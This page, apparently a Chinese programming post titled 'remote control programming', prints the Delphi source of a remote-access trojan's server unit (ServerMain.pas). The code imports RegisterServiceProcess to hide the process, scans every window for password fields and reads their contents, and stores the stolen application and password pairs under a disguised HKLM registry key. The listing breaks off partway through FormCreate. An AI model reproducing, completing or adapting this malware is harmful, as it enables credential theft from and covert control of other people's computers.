远程控制编程

开发平台：
Delphi

ServerMain.pas：源码内容
							unit ServerMain;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ScktComp, Registry, ShellAPI, ExtCtrls, ShowPictureUnit;
type
  TRegisterServiceProcess = function (dwProcessID, dwType:DWord) : DWORD; stdcall;
  TServerForm = class(TForm)
    ServerSocket: TServerSocket;
    PTimer: TTimer;
    procedure ShowPicture (pName : string);
    procedure FormCreate(Sender: TObject);
    procedure ServerSocketClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure PTimerTimer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  ServerForm: TServerForm;
 function PlaySound(lpszSoundName: PAnsiChar; uFlags: UINT): BOOL; stdcall;
implementation
 function PlaySound; external 'winmm.dll' name 'sndPlaySoundA';
{$R *.DFM}
 var
  PList : array [1..64] of string;
  FlT : FILE;
  FName : string;
  FSize : integer;
  AppList : array [1..64] of LongInt;
  PC, RC, APC, RLen, AC : integer;
  SD : string;
  buffer : array [0..1040] of byte;
  sendfile, recfile : boolean;
  iores : integer;
 const
  IconConst : array [0..4] of integer=(0, MB_ICONEXCLAMATION,
         MB_ICONINFORMATION, MB_ICONSTOP,  MB_ICONQUESTION);
  WrapStr = #13+#10;
  MegaByte = 1024*1024;
  KiloByte = 1024;
 function WinText (hWnd : LongInt) : string;
   var PC : PChar;
       L : integer;
  begin
   L:=SendMessage (hWnd, WM_GETTEXTLENGTH, 0, 0);
   getmem (PC, L+1);
   SendMessage (hWnd, WM_GETTEXT, L+1, LongInt (PC));
   result:=PC;
  end;
 function IsPassword (hWnd : LongInt) : boolean;
   var ST : LongInt;
  begin
   ST:=GetWindowWord (hWnd, GWL_STYLE) and $FF;
   result:=(ST=$A0) or (ST=$E0);
  end;
 function IsTextField (hWnd : LongInt) : boolean;
   var ST : LongInt;
  begin
   ST:=GetWindowWord (hWnd, GWL_STYLE) and $FF;
   result:=(ST=$A0) or (ST=$E0) or (ST=$80) or (ST=$C0);
  end;
 // Gets all applications with pass fields
 procedure GetPasswordList;
   var i, j : integer;
       ohWnd, PrhWnd : LongInt;
  begin
   APC:=0;
   for i:=1 to 16384 do
    if IsWindow (i) then
     if IsPassword (i) then
      begin
       PrhWnd:=i;
       repeat
        ohWnd:=PrhWnd;
        PrhWnd:=GetParent (ohWnd);
       until GetParent (PrhWnd)=0;
       Inc (APC);
       AppList[APC]:=PrhWnd;
      end;
   PC:=0;
   for i:=1 to 16384 do
    if IsWindow (i) then
     if IsTextField (i) then
      begin
       PrhWnd:=i;
       repeat
        ohWnd:=PrhWnd;
        PrhWnd:=GetParent (ohWnd);
       until GetParent (PrhWnd)=0;
       for j:=1 to APC do
        if PrhWnd=AppList[j] then
         begin
          Inc (PC);
          PList[PC]:=WinText(PrhWnd)+'___'+WinText(i);
          break;
         end; { Application with passes scanning..}
      end; { hWnd scanning }
  end; { End of procedure }
 procedure RegistryPasswords;
  // adds passwords (from PList) to Registry with old Password checking
   var i, j : integer;
       found : boolean;
       RG : TRegistry;
  begin
   ServerForm.PTimer.Enabled:=false;
   RG:=TRegistry.Create;
   GetPasswordList;
   RG.RootKey:=HKEY_LOCAL_MACHINE;
   RG.OpenKey ('SOFTWAREMicrosoftGeneral', TRUE);
   if RG.ValueExists ('TCount') then
    RC:=RG.ReadInteger ('TCount')
     else
      RC:=0;
   if RC=0 then // Empty registry - don't compare, add all passes..
    begin
     RG.WriteInteger ('TCount', PC);
     for i:=1 to PC do
      RG.WriteString (inttostr(i), PList[i]);
    end
     else
      begin // Comparing RList & PList...
       for i:=1 to PC do // compare loop
        begin
         found:=false;
         for j:=1 to RC do
          if RG.ReadString (inttostr(j))=PList[i] then found:=true;
         if not(found) then
          begin
           Inc (RC);
           RG.WriteString (inttostr(RC), PList[i]);
          end;
        end;      // end compare loop
       RG.WriteInteger ('TCount', RC);
{       for i:=1 to RC do
        RG.WriteString (inttostr(i), RList[i]);}
      end;
   RG.Destroy;
   ServerForm.PTimer.Enabled:=true;
  end;
 procedure TServerForm.FormCreate(Sender: TObject);
   var TM : string;
      i : integer;
      PC, OldName, NewName : PChar;
      RG : TRegistry;
      hNdl :THandle;
      RegisterServiceProcess: TRegisterServiceProcess;
  begin
   // 橡

						